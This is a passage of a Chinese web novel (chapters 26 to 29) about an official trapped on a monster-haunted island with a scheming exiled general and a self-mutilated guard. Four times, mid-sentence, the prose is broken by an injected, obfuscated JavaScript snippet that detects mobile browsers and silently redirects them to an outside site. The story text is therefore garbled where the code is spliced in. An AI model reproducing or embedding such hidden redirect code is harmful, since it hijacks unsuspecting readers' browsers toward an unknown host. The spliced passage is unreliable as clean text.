萧明灿说:“也许太傅的确向檀妄生提出过什么。但如今太傅那边并未有什么行动,就说明事情还没有如他所愿发展。再者说,”她抬起眼,看向窗外那几个大臣,“先后近百人登上那座岛,其中还有身手不凡的侍卫,即便他们真遇到了什么危险,也不可能一丁点消息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872260|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都传不出。” 李意真说:“除非,他们出事了。” “那信上的内容大可以看成是一种明目张胆的谋反。但在臣看来,也可以看作是那罪臣在向皇上暗示,岛上的情况混乱不明。”萧明灿表情平和,继续说:“如果真是局势失控,也许对皇上来说反而是个机会。” 李意真闻言转过身,肩上承载着淡金色的黄昏。 萧明灿看不清皇上的任何表情,但却清楚皇上所想。她轻笑了笑,行了一礼,替她说道:“既然太傅想要帮皇上解决这一桩烦心事,那便放手交给太傅去做。登岛的官员几乎九死一生,臣想,如此艰险的任务,恐怕只有太傅的人,才能够胜任。” 李意真没说可否,只静静看着她,“那样的话,你也会有危险。” 萧明灿说:“若能为皇上排忧解难,臣万死不辞。” 殿外传来一阵嘈杂。一个大臣因为难以承受的疲惫和酷暑,捂着心口昏了过去。小太监探了探那人的鼻息,赶紧招旁边的人去传太医。旁边几个大臣视若无睹,仍继续站在原地,等着皇上改变想法。 小太监急得直跺脚,左看右看,唉了一声,小步朝着殿门走来。 李意真再次拿起那张信纸,轻轻翻动,“……岛上风云诡谲。智者熟悉迷雾,会想办法将其攻克,而狡诈者会利用迷雾,故意深陷其中。” 她手上的玉扳指在夕阳下闪烁着微弱的黑光,“国师觉得,檀妄生会是哪种?” 小太监在殿外低声禀告。 萧明灿缓缓睁开眼睛。 起先是陌生的木制屋顶。接着是一阵尖锐的谩骂声。 萧明灿慢慢转过头,旁边的小桌上放着木托盘,里面装着一截沾着药粉的纱布,还未来得及封盖的瓷瓶倒在盘中。透过半开的房门,萧明灿隐约能看到几个人正在外面吵着什么。其中一个人咒骂着指向另一人。 接着,另一人挥拳砸向对方。房门被轰然撞开,两人倒在屋里扭打起来,又被身后几人强硬拉开。刺眼的阳光让萧明灿下意识闭上了眼睛,抬手挡住光线。 “……快去告诉老大,人醒了。” 萧明灿迟缓地眨了眨眼,稍微移开缠满纱布的手。那两人已经被拉开了,但嘴上仍在说着什么,其中一人又想动手,但被更健壮的人扣着肩颈往后一扯,带他离开了屋子。 有人走到了床榻边,道:“你已经睡——” 萧明灿猛地坐起,顾不上全身莫名其妙袭来的钝痛,推开眼前的人,看向房门外。 一道身影正站在人群之外。 准确地说,那不是“站”,而是跪在人群之外。 他的双膝处垫着一块皮革,双手自然垂在身侧,头发已经剃光了,原本是耳朵的位置空空荡荡,只剩下一道血痂。双眼也被人用刀剜毁,尽管系着白布,但在阳光之下,萧明灿依然能看到白布后的两个血洞。 接着,她听到了自己心脏狂乱跳动的声音。 26. 规则 这座与世隔绝的孤岛上有着三条不成文的“规则”。 第一,尽量不要长时间停留在岛中心之外,不要在队伍不足三人的情况下前往岛上偏僻处。 第二,日落之前要回到岛中心,阴雨天不要离开岛中心。 第三,注意辨别身边行为古怪之人,着重检查其伤口严重程度,言行是否混乱,举止与出岛前相比是否有所不同。 萧明灿无法确定在得知这些“规则”之前,到底牺牲了多少条性命。如今这间屋子的角落里还遗留着无法擦净的血迹,那也许属于先前登岛的某个官员,也许属于最初建造这间屋子、打算在此安居乐业的村民,又或者两者皆有。他们的身体成为了怪物随意操控的器皿,他们的死因则成了生者得以对抗怪物的经验。 所以,比起“死亡游戏”,这更像是一场战争。 但无论是游戏也好,战争也罢,这还远远没有结束——哪怕他们已经有了能够作为参考的“规则”,也依旧无法保证自己不会被那些怪物吞噬。 比如那场雨夜屠杀——那个人曾和另外四个同僚一起出去探查这座海岛,但最终却被自己人推进了井中。 这正是棘手之处。 目前为止,大家对那些怪物的了解,远赶不上怪物观察和学习活人的速度,而正因为不够了解,所以他们才必须更加谨慎小心,因为只有这样,他们才不至于一个又一个造成盲目性的伤亡。但这也是小心谨慎的坏处,这意味着他们一旦放弃冒险,就只能依赖于—— 这感觉就如同在迷雾涤荡的森林里前行,唯一能让他们有头绪迈出下一步的,只有手中的火把,也就是那个所谓的“规则”。 换句话说,如今的大家只能在遵守“规则”的前提下行事,但“规则”并非全部都是“真的”。其中不乏掺带着足以让人丧命的误导,就像那些试图藏在人群中的怪物。 所以,这就是岛上每个人所面临的困境:“规则”并不完善意味着每个人都有可能会像那些曾经因此而死的人一样,用自己惨烈的死亡来为生者明确规则。那场屠杀可以称作一场改写“规则”的战役,也可以称之为一次重置“规则”的大洗牌。 “……他是目前唯一一个在明确规则后,能活下来的人。” 言生抱着剑靠在墙边,看着那个跪在地上的人,眉心微拢,低声道:“尽管他的下场看起来甚至要比死掉更惨一些。” 而当言生说出这句话时,年轻的侍卫还在低喃着那句重复过无数次的话。 “……这都是我的错……都是我的错……” 大概是因为连续三个月都在不分昼夜说话的缘故,又或许是因为耳目尽毁,他的声音听起来嘶哑至极,感觉就像在用钝刀刮割绵帛。而每说出一句话,他都会停顿一下,然后用指尖点一下腿侧。 “他一直认为那场灾难都是他造成的。”言生道:“他说,如果不是他一气之下当着众人的面,说出了那句关于判断怪物的特征的话,兴许大家就不会人心惶惶,钱鸣他们也不会因为疑神疑鬼而走向崩溃,这场屠杀也许就不会爆发。” 萧明灿坐在床上,手里捧着温热的茶盏,目光始终望向他轻叩腿侧的手,“但这不是让他变成这样的原因。” 言生闻言下意识瞥了眼左手被木板固定的食指。当时多亏了国师用火铳引走了那些不人不鬼的怪物,她和几个随从才得以趁机逃出包围,虽然过程当中也遇到了不少的麻烦,但与成为那怪物的一员或者食物相比,折断一根手指已经算得上是值得庆幸的好消息了。 言生回到岛中心之后,第一时间就把国师的位置告诉了岛上的人,但匪夷所思的是,他们却以雨夜行动不安全为由拒绝了救人,甚至也不让她出岛。哪怕是国师和影将军也不行。言生为此险些和那些人大打出手。 自从跟了国师之后,言生就从未在国师陷入危险时离开她身边。她至今也不想回忆自己到底是以何种心情去熬过那一夜的,即便那些随从和她讲了关于岛上曾发生过的屠杀和那些怪物的事,也无法让她冷静下来。她要保护的只有国师,而不是天下人。 天一亮,她便跟着队伍出了岛,虽然国师安全无恙,但……即便国师身体不好,总是比常人更容易生病,但也从未有过昏睡整整三天的情况。 她心里叹息一声,但还是试着去回想那夜曾听到过的话,“……岛中心燃起大火时,大多数人都因为怀疑怪物已经闯进岛中心,而跑到了外面。但其实影……那罪臣想得没错,混进人群的怪物只有四人。” 那个侍卫还在喃喃念着那句话。 言生继续说:“其中三人利用官员和自己点燃了屋子,另一人因为在倒酒的过程中,不慎掉落了火折子,立刻就被反应过来的官员抢走了,才没有引发大火。但因为那官员没有随身佩刀的习惯,导致刚跑出屋子,就被怪物一刀了结了性命。” “……品阶不高的官员都是两三人一间屋子。”萧明灿声音很轻,看着那侍卫道:“他在屋子里目睹了全过程。” 言生点点头,“当那个官员中刀后,他就立刻把门窗全部挡上,然后在屋子里躲了一整夜。等第二天幸存者好不容易把门砸开后,首先就看到了一大摊血和两颗眼珠。当时其他人都以为他是怪物,因为他正一刀一刀划开自己的小腿。他们正准备了结他时,正好听到他说了一句什么,才没动手。” 她顿了顿,正准备开口,就听国师道:“‘他知道凶手是谁’?” 言生又点了点头,“他们尝试了很多种方法与他沟通,最终才知道那间屋子里的经过。但惨祸已经酿成,再纠结这些已经没什么意义了。而这个和发生经过相符合的线索,也只能证明他的确没有疯……或者说,他险些疯了,但是在出现幻觉之前抢先一步毁掉了自己的……” 她看着他眼上的白布,叹息一声,道:“听不见也看不见外面的任何惨剧,才让他稍微冷静下来。自那之后,他便一直是这副模样了…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894955|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过,”她看向萧明灿,“国师刚刚说的那句话指的是……?” 归根结底,他走向今日这一步的原因就是因为他太过愧疚——他发现岛中心内气氛紧绷,是因为他在和同伴吵架时当着众人的面说出了那句判断;因为他在那个怪物向他们泼酒时,突然意识到那个怪物就是曾和他吵架的同伴。 而这一切在岛中心彻底陷入混乱时把他的愧疚推向了另一种更糟糕的地步,绝望,恐惧,甚至觉得自己也许就是怪物的一员,因为从某种角度来说,他帮着怪物杀死了自己的同伴。 尽管其他幸存者从未责怪过他。 但这种几乎让人崩溃的情绪下还藏有一丝理智,就像钱鸣在死前的最后一刻绑住了自己的手,就像石板路的缝隙里长出的小花——一种堪称为奇迹的理智。理智让他下意识地去对抗那些非人的怪物,对抗死亡。于是,他选择在自己彻底出事前毁掉—— 虽然很痛苦,但他成功了。 他熬过了那令人绝望的一夜,没有死于失血过多,也没有死于伤口感染。对于岛上的其他人来说,这似乎是一种好征兆,因为他们知道了“规则”的另一条:只要在濒临崩溃前自毁耳目,阻止幻觉出现,就可以保下性命。 不仅如此,他的存在也给其他人带来了希望,因为“规则”随时都有可能出现问题,而他只要有一天清醒,一天活着,甚至是活到伤口痊愈,就足以能够证明这条“规则”是真的。 这或许就是影将军冒险留他一命的原因。 萧明灿仍旧看着他轻叩腿侧的手。 ……这是一种证明自己理智的方式吗? 每说一句话,轻叩一下手指,类似于给自己定下的一种规矩?以此来证明方才那句话的确是他自己想说出口的,而不是被某种恐惧或幻觉所驱使,像那些怪物一样无意识呢喃出的一句话? 可既然他想证明自己理智尚存,又为何只执着于那句“这都是我的错”,而不是其他让人觉得他更安全的话? 是心里愧疚使然吗? 萧明灿忽然想起了之前谈及火铳时,檀妄生无意间说出的另一句话。 “……他们救人心切,如果我不给他们,他们很有可能就会开始怀疑其实是我在这事上动了手脚。” 当时岛上的人已经开始怀疑影将军了。而事实上,影将军也并非那么无辜,最起码,如果他真的像表现出的那么“知无不言”,就不会突然在她发现那艘船后立刻打昏她了。 萧明灿稍稍抬起茶盏,放低声音说:“……如果他变成这样,是因为想让其他人都觉得,导致那日屠杀惨祸酿成的关键,都是因为他的那句判断呢?” 言生一时没反应过来,但直觉不太对劲,看了看那个侍卫,走向萧明灿,“……为什么?” 萧明灿偏向言生,“因为他突然发现了导致那场惨祸的罪魁祸首——” 房门突然被敲响。接着又被轻轻推开。 是檀妄生。 27. 当局者迷 “……自从那夜之后,他就一直重复着这几句话,就跟寺里那些僧人念诵经文一样。” 一缕光束照进屋内,又随着轻轻的关门声被彻底隔绝在外。檀妄生随意看了那侍卫一眼,接着又把目光转到了萧明灿身上。 微弱的光柱透过窗纸照在床前。而她就坐在床边,披着白色外衣,那可能是国师这辈子以来穿过的最粗制滥造的衣裳,但……也许是因为即使旧伤未愈也仍旧肩背挺直,也许是因为脸颊那道浅淡的伤痕,此刻却反衬得她比往日多了些淡漠尘世的疏离。 可当她轻轻抬眼时,那种淡漠感又随之消失,不,倒不如说是与眼神里更为亲近的安和相融了。他无法去形容那种感觉。只是当阳光照在她面前,他很难真正看清她的全部容貌,也很难从那明净的双眼上移开。 而那个年轻的侍卫依旧笔直地跪在地上,稍垂着头,反复呢喃着那句话,如同一个虔诚的信徒。 与此同时,檀妄生已经走到了侍卫身后。他拎着食盒的手还沾着血,随即慢慢地蹲在他身侧,右手手肘搭在膝上。玄色的衣摆散在地面。当他做出这个动作时,侍卫的指尖僵停了一瞬,而后又重重叩了下腿侧,继续含糊地念着那句话。 他感兴趣似的听了几遍,道:“……不过,这倒更像是个被降下罪罚的信徒。” 他说着,抬眼对上她的目光,随意地问:“国师和他沟通起来应该很费力吧?” “还好。”萧明灿想了想,道:“我曾遇到过比他更难开口的人。” 檀妄生笑了笑,“有收获吗?” 萧明灿指腹摩挲着杯面,说:“如果将军指的是那个雨夜的话,无非就是多了些人群因为大火而陷入恐慌的具体经过,我知道的未必比将军多。” “如果是关于其他的呢?”檀妄生听着那侍卫的低语,说:“这是宫里那些人亲自选出的精锐,比起我这种杀人如同喝水一样平常的罪人,在亲近温和的国师面前,他说不定会更容易敞露心扉。” “将军何出此言?” 萧明灿缓缓喝了一口茶,说:“这座岛上到处都是似人非人的怪物,只有团结起来才有机会解开死局。而将军是收留他进岛中心这个唯一安全之处的人,对于他们来说,比起过往种种真假难辨的传闻,他们应该会更相信眼前救他们于水火的将军才对。何必去隐瞒什么。毕竟,” 她顿了一瞬,轻声道:“又不是将军制造的那些怪物。” “即便如此,说不定也会怕我呢?”檀妄生看向侍卫右耳处那道还未完全愈合的血线,饶有兴趣地说:“难道他没有和国师说过吗?他这双耳朵,可是我亲手一针一针缝起来的。” 言生悄然握紧了刀。 萧明灿低眸看着荡漾的茶面,平和地等着他的话。 “当时他当把我当成了队伍里随行的医者。”檀妄生笑着摇了摇头,说:“但很遗憾,那几个大夫早就死在了那场雨夜里。他因为双眼尽毁,完全没意识到这一点。于是,他在我帮他清理脸上的血时,突然握住我的手,跟我说了一句话。” 侍卫仍低垂着头,喃喃念着那句话:“都是我的错……” “‘檀妄生是引来怪物的罪魁祸首’。”檀妄生微笑道。 萧明灿缓缓抬起眼。 天边云团翻涌,照进屋内的光线很快暗淡下来,只留下一道苍白的光柱横亘在两人之间,微小的尘埃在光柱下飘荡。侍卫的声音一如某种低吟般回荡在寂静之中。 “……国师觉得呢?” 檀妄生仍维持着单膝跪地的姿势,稍微抬头,看着坐在床边的那道身影。 他这么做似乎只是一时兴起,为了近距离地看看这个侍卫近况如何,就像是在看一个经历了无妄之灾的可怜人,又或是街边惹人生笑的猴子,全然没想到此刻的自己看起来更像是一种臣服的跪拜。而从某种意义上来说,他和那个侍卫并没有什么区别。 或许,他正是因为意识到了这一点,才会做出如此举动。他喜欢这种扮演臣服的感觉。对他来说,看着眼前之人享受自己双手奉献的权力,然后又在沉浸敬仰的美梦中陡然惊醒,意识到跪在眼前的人是个会随时杀了他的疯子,和扮演尽心陪在身边的救赎者,看着对方一次又一次陷入绝境,又在破碎的希望中走向崩溃,一样美妙。 而此时此刻,那个跪在地上的疯子正用最从容、最平常的语气问:“国师觉得,他的话是真的还是假的?” 萧明灿没有移开目光,沉吟了片刻,坦然道:“……说实话,以前我对将军并不了解,但我见识过那场营啸爆发后,将军都做了些什么。” 她说:“犯了重罪后,能在闭口不言的情况下仍能让皇上和太傅为了你的命费尽心思,无论是关于研制火铳的核心之法,那场营啸突发背后的真相,甚至是牵连到背后镇北王府的功过,它们的存亡都系在将军一人身上。没有多年的谨慎行事,将军绝不可能会活到今日。” 言生始终站在萧明灿身边,手未离开刀鞘半分。 萧明灿自顾自喝了一口茶,“……所以,我想,如果他的话是真的,那么以将军的手段,我现在看到的应该只是一具早已腐烂成白骨的尸体。将军会给自己留下把柄吗?” “……很难说。”檀妄生停顿了一下,似乎在认真思考了下这个问题,而后又懒洋洋地道:“以往我喜欢做事妥帖,尽量不留任何疏漏,但现在,我发现在身边养一只随时会咬人的恶狗,反而更让人觉得……有意思。” 萧明灿不置可否,“就像是一场随时会送命的冒险。” 檀妄生说:“如果人生没了冒险,还有什么意思呢?” 他看向身边的侍卫,“你不知道他究竟会说出什么,也不知道他到底会惹出什么麻烦。说不定某一天,他会让三个月前的那场屠杀再次上演。不过嘛,”他轻拍了拍那侍卫的肩,听着侍卫的话音猝然一顿,笑了笑道:“也许他会像一个虔诚的诵经者一样,就这么用一生来忏悔‘自己的罪行’。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919389|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧明灿将茶盏放到旁边的小桌上,看着他说:“将军现在就好像在说,他的话完全是真的。” 檀妄生并没有直接回答,“他应该是先剜掉眼睛后才选择割耳的。因为伤口并不如眼睑利落干脆,大概是手抖的缘故吧。也正因为这一点,他最初还能稍微听到周围的声音。但他‘求助’的机会已经用掉一次了。现在他在等第二个机会,但却耳目尽失,无法确定眼前任何人的身份。” 他懒散地站起身,拎起食盒,说:“我很期待,想看看他到底会不会对国师用这第二次机会:敞开心扉,告诉国师就连我都未必知道的真相。” 言生想起了登岛时他故意利用怪物设计的那场“围杀”,不住冷声道:“你既然已经说了他知道你是凶手,还有什么值得探究的真相?你自己不是最清楚你到底做了什么。” 檀妄生走向桌边,看她一眼,笑道:“言大人忘了吗?我是他们来到这里的主要目的。这座岛上的所有官吏侍卫都在盯着我的一举一动和那些怪物的情况。如果我能在无人注意的情况下制造那场屠杀,为何不干脆趁他们登岛时劫船离开这里呢?反正横竖我都是犯了诛九族的死罪。” 言生冷着脸,刚要反驳,就听这个罪臣忽然问:“国师难道不好奇吗?” 他指了指那个侍卫,“除了他的话到底是真是假之外,他究竟为何要说出那句话,他亲眼看到了什么,又听到了什么,又或是从哪句话里意识到了我露出的‘破绽’?如果是真的,国师能借此做些什么,来抓住我的把柄,然后达成国师的目的?” 萧明灿看着他慢条斯理地取出饭菜。 “如果是假的,那么指使他这么做的人是谁,太傅?皇上?”檀妄生道,“如果真的是有人故意为之,那么,这么做的目的是什么?是否可以就此证明,这些怪物的突然出现,其实是有人故意为之。” “……什么?” 言生觉得混乱。纵使这些怪物的确在营啸中出现过,但早在这之前,它们就已经存在并且覆灭了一个几乎与世隔绝的渔岛。难不成这些村民的死亡也和皇城有关系? 但是,这么做对宫里的人有何好处? 如果他们制造怪物的原因是想要利用它们作为开拓疆土的武器,但这些怪物曾导致过营啸爆发、让军功无数的影将军接连惨败、损失火药不计其数,甚至险些失去一城。就结果来看,这个“武器”简直是个棘手的灾难。 那是为了什么? 言生忽然想到了什么。 权力的更迭? 她不可置信地看向国师。 萧明灿缓缓站起身,平静道:“将军想说什么?” “……我想说,如果这些怪物真的和宫里那群人有关系的话,那么国师和我,都置身在这场早在多年前就已设计好的游戏当中。” 檀妄生放下最后一道菜,并没有回头。 “并且可惜的是,国师和我,都只是用来推动游戏的棋子而已。” 28. 罪魁祸首 这听起来是个合理的猜测。 三个月前,曾有数十名官员和随行侍卫因为那些不人不鬼的怪物而聚集在岛中心,如果他们想要怀疑些什么,除了那些怪物之外,第一个就是在孤岛上生活了整整三年的檀妄生。 而在那么多双眼睛的注视下,为什么只有这个侍卫发现了檀妄生是导致那场屠杀的罪魁祸首呢? 如果真如檀妄生所言,这个年轻的侍卫说了慌,那么目的是什么?背后指使的人又是谁? 或者说,获益最多的人是谁? 萧明灿很容易就能猜到答案。 她亲眼见过三年前营啸爆发后的宫里是什么情形,当时所有人都因那接连传来的战败消息而忧忡不已,毕竟事情发生的毫无征兆。他们没想到影将军会败在区区营啸上,更没想到他竟然是致使营啸爆发的罪魁祸首,甚至这一败会让他们损失如此惨重。 后来当那些狰狞诡异的尸首被运回皇城时,甚至还出现了北洛国受到诅咒的流言。影将军和其部下作为唯一的知情者却对此闭口不言。皇上焦头烂额,但即便关于斩首影将军的折子堆积如山,还是力排众议保下了影将军。 而重要的是,因为这一点,与“意气用事”的皇上相比,太傅含糊不清却显得理性的立场反而成了拉拢各方权贵的手段。毕竟,即便皇上明令禁止,但大部分人仍会下意识地把“灭国诅咒”作为这个诡谲谜团的解释。 所以,那个侍卫其实是受太傅指使的吗?既然太傅能做到这种程度,那么是否也可以在押送队伍里安插其他这样的人呢? 萧明灿看向那个跪在地上的侍卫。 导致那场屠杀发生的真凶就是他吗? 那为何他要选择在耳目尽毁后才开始指控檀妄生?因为他手里毫无证据,所以这样的惨状看起来更令人信服一些? 因为想趁着众人心有余悸时,利用不安和恐惧把矛头对向檀妄生? 或者说,想挑起他们和檀妄生的矛盾,让剩余的人也死在檀妄生手里?让檀妄生成为这一切谜团背后真正的主谋? 那么,第一批登岛的押送队伍突然失踪,是不是也因为官员里安插了太傅的人,导致双方因为猜疑而相互残杀,最终两败俱伤? 屋内一片静默,只听外面寒风呼啸着吹过屋檐,短暂盖过了侍卫呢喃似的轻语。 “……将军想过吗,”萧明灿缓缓开口,“如果将军有一天不拿刀了,改去写话本子的话,说不定也会有一番大作为。” 檀妄生轻挑起眉,却没有回身,“国师以为我说的话是假的?” 萧明灿说:“倘若我有能力制造出那些怪物的话,就会直接带它们攻进皇城,或是继续放在其他军营里再度引起动乱。何必只让它出现在影将军的军营,然后再利用将军谋划出这么一场局?” 她看着檀妄生的背影,声音温和道:“太过多此一举了。看起来就像是话本先生在特意围绕‘影将军’这个角色,创造出了一场精心策划的阴谋。” 檀妄生摆好木筷,说:“无论是皇上还是太傅,行事都向来追求稳重周全。闯进皇城固然是个快速的办法,但同时也容易被人扣上个残暴不仁的名号,哪个百姓都不想看到一个制造怪物的暴君会坐上龙椅。” 他的声音听起来总有一种和当下气氛格格不入的漫不经心,腰上也没有别着任何武器,所以比起藏在笑脸下的威胁,那毫无任何伪装的闲散,看起来更像是老友在酒楼里相聚闲谈。 “况且,两位无论是谁,都是位高权重之人,千百双眼睛看着呢。中途万一出现问题,就会功亏一篑。但如果利用其他人来推进这件事的话……” 他稍微偏头,微笑着说:“虽然过程会很复杂,很缓慢,但胜在足够保险。” 萧明灿不觉如此,“制造出隐患无穷的怪物却没有应对之法,在这种情况下又贸然把它们送进军营,一旦出现问题,可不是战败失去一城那么简单。它们会像瘟疫一样摧毁生者,所到之处生灵涂炭。这不算精心谋划,也不是稳重周全,而是鲁莽。” 屋内短暂地陷入沉默,接着檀妄生笑了笑,投降般地道:“还真是什么都瞒不过国师。” 言生拇指悄然抵上刀鞘。 萧明灿披着白衣,就这么赤足走向那个年轻的侍卫,几乎没有发出任何脚步声。她静静蹲在侍卫面前,看着他耳上那道狰狞的伤疤。从缝线上来看,那伤口的确歪斜不平,看起来就像是他切到一半后悔停手,可又不知为何,突然狠下心彻底一刀割断了一样。 她稍想了想,随后看向侍卫轻叩腿侧的手。在这座遍布怪物的岛上,伤药是和食物同等的珍贵之物,如果不到皮开肉绽的地步,绝不会用到伤药,甚至连纱布都不需要包扎。 而正如萧明灿所猜测的那样,她看到了侍卫虎口处一道不太明显的划痕。 这意味着什么? 这很有可能是他在挣扎时留下的刀伤。在檀妄生出现之前,他或许就已经打消了继续伤害自己的念头,因为他意识到了那所谓的“求助机会”终于来了,但是…… 侍卫再次轻叩腿侧。 这道伤口就是他做出错误选择后的代价吗? 这说不定又是一个恶趣味的威胁,又或者说是警告。如果前两批登岛的队伍都尽数惨死,那么她作为第三批登岛的人,就意味着这场“游戏”还在继续……虽然时至于此,萧明灿更愿意把它称作为“谜题”。而一旦她在“谜题”里做出了错误的选择,相信了某个带有误导的“规则”,说不定就会落得和他一样的下场。 萧明灿缓缓抬起手,指尖触向侍卫右耳的伤疤。 那么,这所谓的“谜题”里,到底哪句话是真的? “——但我说的最后一句话是认真的。” 萧明灿动作微顿。檀妄生不知何时已经转过身来,懒散地靠在桌边,说:“也许宫里那些人不会制造出这种离奇的怪物,但未必不会利用它们。你看,当初在地牢时不就是这样吗?两人为了我脑袋里的东西,在明知道我很有可能就是营啸主谋的情况下,还是把我送到了孤岛,说不定为的就是今日。” 萧明灿收回顿在半空的手,想起了之前那两个侍卫夫人的遭遇,听着他慢慢地说:“等待时机成熟,然后彻底打破那个僵局。” 这听起来倒也合理。言生下意识想道。 虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931799|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暂且无从得知他口中的“时机”,究竟指的是怪物的渗透还是其他什么,但他那句“为的就是今日”,未必是什么假话。 当初皇上之所以留下檀妄生性命,一是他手中的火铳秘术,二是想要知道营啸的真相。但如今从赵明安和陈四夫人相继遭遇的惨祸来看,说不定皇上和太傅的目的不止于此。 两人其中一方也许早就知道怪物的存在,但却无法更妥善地利用它们,于是只能等。或许在等着探究出它们的习性,或许是等着另一场让人恐慌的危机爆发,比如说近来边境频发的战争。 那个人是皇上吗?言生不由自主地想。 因为战况频频失利,让皇上有了重用罪臣的理由。而为了阻止檀妄生以皇上之人重回朝堂,太傅必然会在暗中出手。从什么地方下手?押送队伍。或是檀妄生本人。 也许太傅用某种手段成功拉拢了檀妄生。先前两批押送队伍登岛后便再无音讯,太傅不清楚怪物的真相,所以便打算一直拖下去,让皇上不得不在朝堂上做出让步。如果边境战事全权交给太傅,开了这道口子,今后皇上的大小事务将会无一例外地经由太傅之手,甚至要由他定夺。 而因为拉拢檀妄生,他或许还会拿到火铳秘术,让边境的战事得以有喘息的机会。 但这都在皇上的计划之中。 她会一直耐心地等下去,甚至会在迫不得已之时把权力让给太傅,让他着手去做。当他接手之后,为了摆平战事,要么会利用得到的火铳之术,要么会让影将军重整之前那批精锐部队。 而当他暴露自己与影将军有所牵扯时,城里会立刻传出关于“怪物杀人”的惨案,而三年前那场没有真相的营啸也会“自然而然”地重新被人提起。 皇上也许会有解决那怪物的方法。但她会看着太傅和影将军深陷“操控巫术”的流言后再出手。这样不仅可以理所应当地除掉这个“祸国佞臣”,也可以除掉影将军这个心头之患。 只要在影将军知道解决怪物方法之前行动就好。 言生紧张地看向萧明灿。 国师呢? 也许太傅想让国师死在登岛的意外里,也许檀妄生的确想要利用国师来达成什么目的。不管怎么说,国师已经在这儿了。而她的任务真的是“带走檀妄生”吗? 比起押送檀妄生,更像是想要替皇上找到火铳秘术。 也许太傅因为谨慎,不会轻易动国师。但重要的是,檀妄生此刻已经猜到了皇上的用意。他不可能会任由自己当个棋子,不明不白地做这场权力争夺的替罪羊。 所以,国师作为皇上的人,很有可能会死在这座岛—— 一瞬过后,言生拇指顶开刀鞘,上前一步,沉声道:“你到底——” “‘得到的残缺线索反而会带来另一个新的困惑。’” 萧明灿没有中断和檀妄生的目光接触,稍抬起手,轻声打断道:“比起远在皇城的两位大人,在我看来,将军才更像是那个利用别人来为自己铺路的罪魁祸首。” “总有人会上当,不是吗?” 檀妄生看向言生和那侍卫,笑了起来,道:“这招还真是屡试不爽。” 29. 骨汤 国师在皇城里有一匹爱马,曾是西域的无名野马。 通体乌黑,毛发长而微卷,虽然体型在一众烈马里算不上强壮,但胜在优雅匀称,因为其骨骼和四肢结实稳定,行动矫健,极具耐力。 而之所以把它与烈马相比,是因为它同样难以驯服。即使那马已经被打得遍体鳞伤,脖子被数道铁锁紧紧缠住,但那些捕马贩不是骑个几步远被带着冲出去,就是在刚上马的瞬间被甩下来,甚至还有个人当场被马蹄踹断了两根肋骨,不治而亡。 “……当一个人想要骑马的时候,马总能看出眼前之人是位什么样的人。” 言生还记得,那时,站在人群之外的国师曾说过这么一句话。 “是可以轻视的对手,还是值得尊重的对手。” 人也是如此。 就算只相处短短几日,也能推测出对方是个什么样的人。 比如初见时的国师,她随和从容,聪明理智,即使身处万人之上,也从未让人感觉到遥不可及,虽然身体比常人稍羸弱些,但她总是可以做到任何事,就像话本子里描述得那种天灾降临后,这个世间唯一幸存的兔子。 比如皇上,她威严庄重,手段果决,仅用十年时间就处理掉了让两位先帝头疼不已的江山蛀虫,哪怕历来从未有过女子称帝的先例,朝上也没有人敢拿男女之别去妄议皇上。 比如太傅,他冷静克制,虽然看起来温和端庄,却城府很深,从宫里那些关于“两王”传言就能推测一二。当你看到他时,总会下意识地想要远离,因为担心说不定哪天,就会成为他手中被不明不白推出棋局的卒子。 但当你遇到檀妄生时,一切都不一样了。 就像是一团烟雾顺着耳朵悄无声息涌进了脑袋里,直觉如同浸水的机关一样骤然失灵,一片模糊的空白中,只有两个字警告似的不断往外蹦—— 疯子。 但是他很亲和,甚至称得上是平易近人。 他会在你陷入绝境时出手相助,会热心地告诉你想知道的一切,甚至还会像朋友一样和你闲聊。好心到甚至让你一度怀疑那些传闻都是有人刻意抹黑他而编造的故事,就连亲眼看到的事实都会让你觉得他一定有所苦衷。 